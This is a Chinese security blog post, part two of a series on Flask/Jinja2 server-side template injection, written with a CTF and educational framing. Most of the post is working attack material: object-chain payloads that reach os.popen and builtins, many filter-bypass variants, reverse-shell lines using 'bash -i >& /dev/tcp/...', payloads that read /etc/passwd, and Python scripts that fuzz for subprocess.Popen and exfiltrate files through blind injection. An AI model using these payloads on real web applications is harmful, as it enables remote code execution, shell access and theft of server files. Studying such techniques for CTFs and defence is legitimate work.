Eki's blog Eki's blog
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)

Eki

Dreamer of Dreams
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)
  • SSTI漏洞学习(下)——Flask/Jinja模板引擎的相关绕过

    • 0x01 再看寻找Python SSTI攻击载荷的过程
      • 0x02 一些Trick
        • 0x03 Bypass的手段
          • {{}}模板标签过滤
          • 关键词过滤
          • 特殊字符过滤
          • 对象层面禁用
        • 0x04 盲注
          • 参考资料
          Eki
          2021-08-03
          随笔
          目录

          SSTI漏洞学习(下)——Flask/Jinja模板引擎的相关绕过

          本文首发于安全客: https://www.anquanke.com/post/id/246094

          # 0x01 再看寻找Python SSTI攻击载荷的过程

          获取基本类

          对于返回的是定义的Class内的话:
          __dict__   //返回类中的函数和属性,父类子类互不影响
          __base__ //返回类的父类 python3
          __mro__ //返回类继承的元组,(寻找父类) python3
          __init__ //返回类的初始化方法   
          __subclasses__()  //返回类中仍然可用的引用  python3
          __globals__  //对包含函数全局变量的字典的引用 python3
          对于返回的是类实例的话:
          __class__ //返回实例的对象,可以使类实例指向Class,使用上面的魔术方法
          ''.__class__.__mro__[2]
          {}.__class__.__bases__[0]
          ().__class__.__bases__[0]
          [].__class__.__bases__[0]
          
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13

          此外,在引入了Flask/Jinja的相关模块后还可以通过

          config
          request
          url_for
          get_flashed_messages
          self
          redirect
          
          1
          2
          3
          4
          5
          6

          等获取基本类,

          获取基本类后,继续向下获取基本类(object)的子类

          object.__subclasses__()
          
          1

          找到重载过的__init__类

          在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的

          也可以利用.index()去找file,warnings.catch_warnings

          >>> ''.__class__.__mro__[2].__subclasses__()[99].__init__
          <slot wrapper '__init__' of 'object' objects>
          >>> ''.__class__.__mro__[2].__subclasses__()[59].__init__
          <unbound method WarningMessage.__init__>
          
          1
          2
          3
          4

          查看其引用__builtins__

          ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
          
          1

          这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file等函数来实现读取文件的功能

          ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
          
          1

          常用的目标函数有这么几个

          file
          subprocess.Popen
          os.popen
          exec
          eval
          
          1
          2
          3
          4
          5

          常用的中间对象有这么几个

          catch_warnings.__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')
          lipsum.__globals__.__builtins__.open("/flag").read()
          linecache.os.system('ls')
          
          1
          2
          3

          更多的可利用类可以通过遍历筛选的方式找到

          比如对subprocess.Popen我们可以构造如下fuzz脚本

          import requests
          
          url = ""
          
          index = 0
          for i in range(100, 1000):
              #print i
              payload = "{{''.__class__.__mro__[2].__subclasses__()[%d]}}" % (i)
              params = {
                  "search": payload
              }
              #print(params)
              req = requests.get(url,params=params)
              #print(req.text)
              if "subprocess.Popen" in req.text:
                  index = i
                  break
          
          
          print("index of subprocess.Popen:" + str(index))
          print("payload:{{''.__class__.__mro__[2].__subclasses__()[%d]('ls',shell=True,stdout=-1).communicate()[0].strip()}}" % i)
          
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          20
          21

          那么我们也可以利用{%for%}语句块来在服务端进行fuzz

          {% for c in [].__class__.__base__.__subclasses__() %}
            {% if c.__name__=='catch_warnings' %}
            {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}
            {% endif %}
          {% endfor %}
          
          1
          2
          3
          4
          5

          # 0x02 一些Trick

          • Python 字符的几种表示方式

            • 16进制 \x41
            • 8进制 \101
            • unicode \u0074
            • base64 'X19jbGFzc19f'.decode('base64') python3
            • join "fla".join("/g")
            • slice "glaf"[::-1]
            • lower/upper ["__CLASS__"|lower
            • format "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)
            • replace "__claee__"|replace("ee","ss")
            • reverse "__ssalc__"|reverse
          • python字典或列表获取键值或下标的几种方式

          dict['__builtins__']
          dict.__getitem__('__builtins__')
          dict.pop('__builtins__')
          dict.get('__builtins__')
          dict.setdefault('__builtins__')
          list[0]
          list.__getitem__(0)
          list.pop(0)
          
          1
          2
          3
          4
          5
          6
          7
          8
          • SSTI 获取对象元素的几种方式
            • class.attr
            • class.__getattribute__('attr')
            • class['attr']
            • class|attr('attr')
            • "".__class__.__mro__.__getitem__(2)
            • ['__builtins__'].__getitem__('eval')
            • class.pop(40)
          • request 旁路注入
          request.args.name    #GET name
          request.cookies.name #COOKIE name
          request.headers.name #HEADER name
          request.values.name  #POST or GET Name
          request.form.name    #POST NAME
          request.json         #Content-Type json
          
          1
          2
          3
          4
          5
          6
          • 通过拿到current_app这个对象获取当前flask App的上下文信息,实现config读取

          比如

          {{url_for.__globals__.current_app.config}}
          {{url_for.__globals__['current_app'].config}}
          {{get_flashed_messages.__globals__['current_app'].config.}}
          {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].cofig}}
          
          1
          2
          3
          4

          # 0x03 Bypass的手段

          在对Jinjia SSTI注入时,本质是在Jinja的沙箱中进行代码注入,因此很多绕过技巧和python沙箱逃逸是共通的

          # {{}}模板标签过滤

          • {% if xxx %}xxx{% endif %}形式
          {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1') %}1{% endif %}
          
          1
          • {% print xxx %} 形式
          {% print ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')
          
          1

          # 关键词过滤

          base64编码绕过

          __getattribute__使用实例访问属性时,调用该方法

          例如被过滤掉class关键词

          {{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
          
          1

          字符串拼接绕过

          {{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
          
          1

          利用dict拼接

          {% set a=dict(o=x,s=xx)|join %}
          
          1

          利用string

          比如'可以用下面方式拿到,存放在quote中

          {% set quote = ((app.__doc__|list()).pop(337)|string())%}
          
          1

          类似的还有

          {% set sp = ((app.__doc__|list()).pop(102)|string)%}
          {% set pt = ((app.__doc__|list()).pop(320)|string)%}
          {% set lb = ((app.__doc__|list()).pop(264)|string)%}
          {% set rb = ((app.__doc__|list()).pop(286)|string)%}
          {% set slas = (eki.__init__.__globals__.__repr__()|list()).pop(349)%}
          {% set xhx = (({ }|select()|string()|list()).pop(24)|string())%}
          
          1
          2
          3
          4
          5
          6

          通过~可以将得到的字符连接起来

          一个eval的payload如下所示

          {% set xhx = (({ }|select()|string|list()).pop(24)|string)%}
          {% set sp = ((app.__doc__|list()).pop(102)|string)%}
          {% set pt = ((app.__doc__|list()).pop(320)|string)%}
          {% set quote = ((app.__doc__|list()).pop(337)|string)%}
          {% set lb = ((app.__doc__|list()).pop(264)|string)%}
          {% set rb = ((app.__doc__|list()).pop(286)|string)%}
          {% set slas = (eki.__init__.__globals__.__repr__()|list()).pop(349)%}
          {% set bu = dict(buil=x,tins=xx)|join %}
          {% set im = dict(imp=x,ort=xx)|join %}
          {% set sy = dict(po=x,pen=xx)|join %}
          {% set oms = dict(o=x,s=xx)|join %}
          {% set fl4g = dict(f=x,lag=xx)|join %}
          {% set ca = dict(ca=x,t=xx)|join %}
          {% set ev = dict(ev=x,al=xx)|join %}
          {% set red = dict(re=x,ad=xx)|join%}
          {% set bul = xhx*2~bu~xhx*2 %}
          
          {% set payload = xhx*2~im~xhx*2~lb~quote~oms~quote~rb~pt~sy~lb~quote~ca~sp~slas~fl4g~quote~rb~pt~red~lb~rb %}
          
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18

          可以在eval或exec语句中使用,如下

          {% for f,v in eki.__init__.__globals__.items() %} 
              {% if f == bul %} 
                  {% for a,b in v.items() %}
                      {% set x=a%}
                      {% if a == ev %}
                          {{b(payload)}}
                      {% endif %}
                  {% endfor %}
              {% endif %}
          {% endfor %}
          
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10

          Python3 对Unicode的Normal化

          比如

          img (opens new window)

          可以绕过数字限制

          同时在python3中会对unicode normalize,导致exec可以执行unicode代码

          img (opens new window)

          Python的格式化字符串特性

          比如

          '{0:c}'['format'](95)
          { "%s, %s!"|format(greeting, name) }}
          
          1
          2

          拼接起来有

          {{""['{0:c}'['format'](95)+'{0:c}'['format'](95)+'{0:c}'['format'](99)+'{0:c}'['format'](108)+'{0:c}'['format'](97)+'{0:c}'['format'](115)+'{0:c}'['format'](115)+'{0:c}'['format'](95)+'{0:c}'['format'](95)]}}
          
          1

          getlist

          使用.getlist()方法获得一个列表,这个列表的参数可以在后面传递

          {%print (request.args.getlist(request.args.l)|join)%}&l=a&a=_&a=_&a=class&a=_&a=_
          
          1

          可以获得__class__

          # 特殊字符过滤

          过滤引号

          request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤 将其中的request.args改为request.values则利用REQUEST的方式进行传参

          {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
          
          1

          过滤双下划线

          同样利用request.args属性

          {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
          #GET:
          {{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
          
          #POST:
          class=__class__&mro=__mro__&subclasses=__subclasses__
          
          1
          2
          3
          4
          5
          6

          过滤./[]

          这里对获取元素方法属性进行了限制,那么我们可以使用上面Trick中介绍的获取对象元素的几种方式进行绕过

          比如用原生JinJa2函数|attr()

          将request.__class__改成request|attr("__class__")

          同时绕过下划线、与中括号

          综合之前的Trick利用就行

          {{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/etc/passwd')|attr(request.values.name5)()}}post:name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read
          
          1

          过滤圆括号

          • 对函数执行方式进行重载,比如将 request.__class__.__getitem__=__builtins__.exec; 那么执行request[payload]时就相当于exec(payload)了
          • 使用lambda表达式进行绕过

          # 对象层面禁用

          • set {}=None

          只能设置该对象为None,通过其他引用同样可以找到该对象

          {{% set config=None%}} -> {{url_for.__globals__.current_app.config}}
          
          1
          • del
          del __builtins__.__dict__['__import__']
          
          1

          通过reload进行重载

          reload(__builtins__)
          
          1
          • 其他一些小trick

          比如func.__code__.co_consts 可以获得对应函数的上下文常量

          # 0x04 盲注

          盲注一般有如下几种思路

          • 反弹shell 通过rce反弹一个shell出来绕过无回显的页面
          • 带外注入 通过requestbin或dnslog的方式将信息传到外界
          • 纯盲注

          利用index方法

          Python index() 方法检测字符串中是否包含子字符串 str ,如果指定 beg(开始) 和 end(结束) 范围,则检查是否包含在指定范围内,该方法与 python find()方法一样,只不过如果str不在 string中会报一个异常。

          比如

          {{(request.__class__.__mro__[2].__subclasses__[334].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()|string).index("r",0,3)}}
          
          1

          如果/etc/passwd的第一个字符是r那么就不会触发异常,如果不是就会触发异常,根据这个特点可以进行盲注

          如下是一个盲注脚本

          import requests
          from string import printable as pt
          
          host = "http://127.0.0.1:8765/"
          res  = ''
          
          for i in range(0,40):
              for c in pt:
                  payload = '{{(request.__class__.__mro__[2].__subclasses__[334].__init__.__globals__["__builtins__"]["file"]("/etc/passwd").read()|string).index("%c",%d,%d)}}' % (c,i,i+1) 
                  param = {
                      "name":payload
                  }
                  req = requests.get(host,params=param)
          
                  if req.status_code == 200:
                      res += c
                      break
              print(res)
          
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18

          # 参考资料

          https://xz.aliyun.com/t/8029

          https://blog.csdn.net/miuzzx/article/details/110220425

          https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#%E7%B1%BB%E7%BB%A7%E6%89%BF%E4%BD%BF%E7%94%A8 (opens new window)

          https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93/ (opens new window)

          编辑 (opens new window)
          上次更新: 2022/05/18, 16:49:51
          最近更新
          01
          QWB CTF2022 线下赛总决赛部分题解
          08-25
          02
          CISCN2022 总决赛部分题解
          08-25
          03
          DSCTF2022决赛 部分writeup
          08-08
          更多文章>
          Theme by Vdoing | Copyright © 2019-2022 EkiXu | Creative Commons License
          This work is licensed under a Creative Commons Attribution 4.0 International License.
          • 跟随系统
          • 浅色模式
          • 深色模式
          • 阅读模式